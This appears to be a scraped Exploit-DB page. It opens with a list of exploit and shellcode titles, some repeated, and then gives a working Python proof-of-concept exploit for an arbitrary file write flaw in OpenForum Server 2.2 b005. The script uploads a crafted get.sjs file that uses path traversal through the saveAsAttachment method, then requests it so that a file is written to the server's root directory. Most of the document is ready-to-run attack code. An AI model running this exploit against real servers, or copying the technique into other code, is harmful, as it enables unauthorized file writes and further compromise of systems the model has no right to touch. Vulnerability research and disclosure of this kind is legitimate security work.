
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
93 lines
No EOL
6.1 KiB
JavaScript
93 lines
No EOL
6.1 KiB
JavaScript
# source: https://www.securityfocus.com/bid/40364/info
|
|
#
|
|
# OpenForum is prone to a vulnerability that may allow remote attackers to create arbitrary files on a vulnerable system.
|
|
#
|
|
# Successful exploits will allow an attacker to create arbitrary files, which may then be executed to perform unauthorized actions. This may aid in further attacks.
|
|
#
|
|
# OpenForum 2.2 b005 is vulnerable; other versions may also be affected.
|
|
#
|
|
|
|
#============================================================================================================#
|
|
# _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ #
|
|
# /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ #
|
|
# ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) #
|
|
# /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ #
|
|
# \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ #
|
|
# )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ #
|
|
# \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ #
|
|
# #
|
|
#============================================================================================================#
|
|
# #
|
|
# Vulnerability............Arbitrary File Write #
|
|
# Software.................Open Forum Server 2.2 b005 #
|
|
# Download.................http://code.google.com/p/open-forum #
|
|
# Date.....................5/23/10 #
|
|
# #
|
|
#============================================================================================================#
|
|
# #
|
|
# Site.....................http://cross-site-scripting.blogspot.com/ #
|
|
# Email....................john.leitch5@gmail.com #
|
|
# #
|
|
#============================================================================================================#
|
|
# #
|
|
# ##Description## #
|
|
# #
|
|
# An arbitrary file write vulnerability in the saveAsAttachment method of Open Forum Server 2.2 b005 can be #
|
|
# exploited to write to the local file system of the server. #
|
|
# #
|
|
# #
|
|
# ##Exploit## #
|
|
# #
|
|
# Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder. #
|
|
# #
|
|
# #
|
|
# ##Proof of Concept## #
|
|
# #
|
|
import sys, socket
|
|
host = 'localhost'
|
|
port = 80
|
|
|
|
def send_request(request):
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.settimeout(32) # sometimes it takes a while
|
|
s.connect((host, port))
|
|
s.send(request)
|
|
|
|
response = s.recv(8192) + s.recv(8192) # a hack within a hack
|
|
|
|
return response
|
|
|
|
def write_file():
|
|
try:
|
|
content = '----x--\r\n'\
|
|
'Content-Disposition: form-data; name="file"; filename="get.sjs"\r\n'\
|
|
'Content-Type: application/octet-stream\r\n\r\n'\
|
|
'fileName = "' + '..\\\\' * 256 + 'x.txt";\r\n'\
|
|
'data = "hello, world";\r\n'\
|
|
'user = transaction.getUser();\r\n'\
|
|
'wiki.saveAsAttachment("x",fileName,data,user);\r\n'\
|
|
'transaction.sendPage("File Written");\r\n\r\n'\
|
|
'----x----\r\n'
|
|
|
|
response = send_request('POST OpenForum/Actions/Attach?page=OpenForum HTTP/1.1\r\n'
|
|
'Host: ' + host + '\r\n'
|
|
'Content-Type: multipart/form-data; boundary=--x--\r\n'
|
|
'Content-Length: ' + str(len(content)) + '\r\n\r\n' + content)
|
|
|
|
if 'HTTP/1.1 302 Redirect' not in response:
|
|
print 'Error writing get.sjs'
|
|
return
|
|
else: print 'get.sjs created'
|
|
|
|
response = send_request('GET OpenForum HTTP/1.1\r\n'
|
|
'Host: ' + host + '\r\n\r\n')
|
|
|
|
if 'File Written' not in response:
|
|
print 'Error writing to root'
|
|
return
|
|
else: print 'x.txt created in root'
|
|
|
|
except Exception:
|
|
print sys.exc_info()
|
|
|
|
write_file() |